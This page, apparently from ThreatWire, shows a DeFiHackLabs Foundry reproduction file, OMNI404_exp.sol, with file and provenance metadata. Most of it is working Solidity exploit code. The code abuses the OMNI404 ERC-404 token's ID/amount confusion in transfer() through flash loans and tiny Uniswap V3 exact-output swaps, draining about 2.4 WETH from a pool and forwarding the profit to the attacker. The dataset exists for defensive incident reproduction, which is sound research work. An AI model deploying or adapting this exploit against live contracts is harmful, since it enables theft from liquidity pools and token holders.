Public reproduction file
src/test/2026-09/OMNI404_exp.sol
Public reproduction file for dataset entry OMNI404.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// OMNI404 (O404) - ERC-404 ID/amount dual-interpretation vs Uniswap V3 exact-output swaps - Ethereum.7// Attacker net gain 2.427 WETH in the run() tx (2.427003380901677080).8//9// Attack tx (run): 0x4cbc3d8db832eb5442ce1c11d79fda05cafabfe7906933ed25881d60bf41d6f3 (block 25951648)10// Attacker EOA : 0xFB26db4EAb18Cb50d29Ff431888dD643A7e9C9f811// Exploit (on-chain): 0x505B2EBea0EC6e30D02768f1de8DdE8Dd9122aD412// O404 token : 0xd5C02bB3e40494D4674778306Da43a56138A383E (verified; OMNI404 is ERC-404, maxTotalSupplyERC721=50)13// Pool : 0xB3f613b9Bc84ddB29D78fA4685b01d98412BBa0b (Uniswap V3, token0=WETH, token1=O404, whitelisted in O404)14// Balancer Vault : 0xBA12222222228d8Ba445958a75a0704d566BF2C815// WETH : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc216//17// ROOT CAUSE - which of the two circulating framings is correct, decided from the verified source + trace:18// The operative bug is the dual ID/amount interpretation (the SlowMist framing, "B"), NOT an independent19// floor-rounding round-trip leak (the community framing, "A"). From O404.transfer() (verified source):20// function transfer(address to_, uint256 valueOrId_) {21// if (valueOrId_ <= maxTotalSupplyERC721) { // maxTotalSupplyERC721 == 5022// // treated as an ERC-721 id: moves 1*units (1e18) ERC-20 AND the NFT23// require(msg.sender == _ownerOf[id]);24// _transferERC20(msg.sender, to_, units); // <-- a FULL 1e18 regardless of the "value"25// _transferERC721(msg.sender, to_, id);26// } else { ...normal ERC-20 value transfer... }27// }28// A Uniswap V3 exact-output swap makes the pool send the output via token.transfer(recipient, amountOut).29// When amountOut is a tiny wei value <= 50, O404 interprets it as "transfer NFT #amountOut" and pays out a30// full 1e18 units (plus the NFT), while the pool's swap math only debits `amountOut` WEI. So the attacker31// buys 1e18 O404 for ~2 wei of WETH per micro-swap. The require(msg.sender == _ownerOf[id]) means the POOL32// must own the low ids first - which is arranged with a Uniswap V3 flash() of the ERC-20 (below).33// Framing A is right about the setup (ERC-404 + whitelisted pool; the borrow really does mint 6 fresh NFTs,34// minted 15 -> 21) and its "~65 loops" is just the count of micro-swaps, but its stated mechanism35// (sub-unit floor rounding leaking per round-trip) is not what extracts the value; the ID/amount confusion is.36//37// Mechanism per cycle (run() repeats this 3x, after an initial 0.2 O404 buy, then a final 0.2 sell):38// a) pool.flash(0, 20e18): borrow 20 O404. pool is whitelisted (no burn); this contract is not, so the39// floor(balance/units) reconciliation MINTS ~20 NFTs (ids 1..21) to this contract from the stored bank.40// b) repay the flash with ID-path transfers transfer(pool, id) for each owned id: each sends 1e18 + NFT,41// so the principal is returned AND the pool is left OWNING low NFT ids 1..21.42// c) buy-loop: for each id the pool now owns, swap exact-output of `id` wei. The pool's transfer(this, id)43// hits the ID-path and pays out 1e18 O404 + the NFT for ~2 wei WETH. ~20 units reclaimed almost free.44// d) sell the ~20 O404 back to the pool for real WETH. The pool's WETH reserve is what is drained.45//46// Profit reconciliation: run() alone nets 2.427003380901677080 WETH (SlowMist's "2.4 WETH"). The full incident47// was 4 txs (deploy, run +2.427, then three drain() calls +0.367/+0.147/+0.079) ~= 3.02 ETH (the community48// figure). This PoC reproduces run() in one pass and asserts against ~2.427 WETH.50interface IERC20 {51 function balanceOf(address) external view returns (uint256);52 function transfer(address to, uint256 amount) external returns (bool);53}55interface IWETH is IERC20 {56 function withdraw(uint256) external;57}59interface IO404 {60 function transfer(address to, uint256 valueOrId) external returns (bool);61 function balanceOf(address) external view returns (uint256);62 function ownerOf(uint256 id) external view returns (address);63 function minted() external view returns (uint256);64}66interface IBalancerVault {67 function flashLoan(address recipient, address[] calldata tokens, uint256[] calldata amounts, bytes calldata userData)68 external;69}71interface IUniswapV3Pool {72 function swap(address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data)73 external74 returns (int256 amount0, int256 amount1);75 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;76}78contract OMNI404Exploit {79 IWETH constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);80 IO404 constant O404 = IO404(0xd5C02bB3e40494D4674778306Da43a56138A383E);81 IUniswapV3Pool constant POOL = IUniswapV3Pool(0xB3f613b9Bc84ddB29D78fA4685b01d98412BBa0b);82 IBalancerVault constant VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);84 uint160 constant MIN_SQRT = 4295128741; // price-down limit (buying O404, zeroForOne=true)85 uint160 constant MAX_SQRT = 1461446703485210103287273052203988822378723970340; // price-up limit (selling O404)87 uint256 constant FLASH_WETH = 5 ether;88 uint256 constant BORROW_O404 = 20e18; // O404 flash-borrowed from the pool each cycle89 uint256 constant MAX_ID = 50; // O404.maxTotalSupplyERC72190 uint256 constant CYCLES = 3;92 address public immutable owner;94 constructor() {95 owner = msg.sender;96 }98 function attack() external {99 address[] memory tokens = new address[](1);100 tokens[0] = address(WETH);101 uint256[] memory amounts = new uint256[](1);102 amounts[0] = FLASH_WETH;103 VAULT.flashLoan(address(this), tokens, amounts, "");104 // Forward profit to caller.105 payable(owner).transfer(address(this).balance);106 }108 // ---- Balancer flash-loan callback ----109 function receiveFlashLoan(address[] calldata, uint256[] calldata amounts, uint256[] calldata, bytes calldata) external {110 require(msg.sender == address(VAULT), "not vault");112 // Seed a 0.2 O404 fractional position (covers the V3 flash fee each cycle).113 POOL.swap(address(this), true, -0.2e18, MIN_SQRT, "");115 for (uint256 c = 0; c < CYCLES; c++) {116 // (a)+(b): borrow 20 O404 (mints NFTs here), repaid inside uniswapV3FlashCallback via ID-path.117 POOL.flash(address(this), 0, BORROW_O404, "");119 // (c): reclaim each NFT the pool now owns via a tiny exact-output swap -> 1e18 O404 each, ~free.120 uint256 hi = O404.minted();121 for (uint256 id = 1; id <= hi; id++) {122 if (O404.ownerOf(id) == address(POOL)) {123 POOL.swap(address(this), true, -int256(id), MIN_SQRT, "");124 }125 }127 // (d): dump the reclaimed O404 back into the pool for WETH.128 POOL.swap(address(this), false, 19.8e18, MAX_SQRT, "");129 }131 // Sell the leftover fractional.132 POOL.swap(address(this), false, 0.2e18, MAX_SQRT, "");134 // Repay the Balancer flash loan (zero fee).135 WETH.transfer(address(VAULT), amounts[0]);137 // Unwrap the WETH surplus to native ETH.138 WETH.withdraw(WETH.balanceOf(address(this)));139 }141 // ---- Uniswap V3 flash callback: repay the 20 O404 + fee using ID-path transfers ----142 // Each transfer(pool, id) with id<=50 sends 1e18 O404 + NFT #id, leaving the pool owning the low ids.143 function uniswapV3FlashCallback(uint256, uint256, bytes calldata) external {144 require(msg.sender == address(POOL), "not pool");145 uint256 hi = O404.minted();146 for (uint256 id = 1; id <= hi; id++) {147 if (O404.ownerOf(id) == address(this)) {148 O404.transfer(address(POOL), id); // ID-path: 1e18 + NFT each149 }150 }151 // Return the remaining fractional to cover principal rounding + fee.152 O404.transfer(address(POOL), O404.balanceOf(address(this)));153 }155 // ---- Uniswap V3 swap callback: pay whichever token is owed (token0=WETH, token1=O404) ----156 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {157 require(msg.sender == address(POOL), "not pool");158 if (amount0Delta > 0) WETH.transfer(address(POOL), uint256(amount0Delta));159 if (amount1Delta > 0) O404.transfer(address(POOL), uint256(amount1Delta));160 }162 receive() external payable {}163}165contract OMNI404_exp is Test {166 IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);167 IO404 constant O404 = IO404(0xd5C02bB3e40494D4674778306Da43a56138A383E);168 address constant POOL = 0xB3f613b9Bc84ddB29D78fA4685b01d98412BBa0b;170 function testExploit() public {171 vm.createSelectFork("mainnet", 25951647); // parent block of the exploit tx173 emit log_named_decimal_uint("pool WETH before", WETH.balanceOf(POOL), 18);174 emit log_named_uint("O404 minted before", O404.minted());176 OMNI404Exploit exploit = new OMNI404Exploit();177 uint256 balBefore = address(this).balance;179 exploit.attack();181 uint256 profit = address(this).balance - balBefore;182 emit log_named_decimal_uint("pool WETH after ", WETH.balanceOf(POOL), 18);183 emit log_named_uint("O404 minted after ", O404.minted());184 emit log_named_decimal_uint("attacker ETH profit", profit, 18);186 // Matches the on-chain run() gain of 2.427003380901677080 WETH (SlowMist's "2.4 WETH").187 assertApproxEqRel(profit, 2.427003380901677080 ether, 0.02e18, "profit off expected ~2.427 WETH");188 }190 receive() external payable {}191}Analysis
Dataset entry
Public Foundry test for “OMNI404” (2026-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfb26db4eab18cb50d29ff431888dd643a7e9c9f8
- Attack Tx
0x4cbc3d8db832eb5442ce1c11d79fda05cafabfe7906933ed25881d60bf41d6f3
File record
- Name
- OMNI404
- Path
- src/test/2026-09/OMNI404_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c1e13dc0fa11014d63edd03fb8d10020c4701b1d
- Language
- Solidity
- Size
- 192 lines
- Date
- 2026-09-09
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/OMNI404_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c1e13dc0fa11014d63edd03fb8d10020c4701b1d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.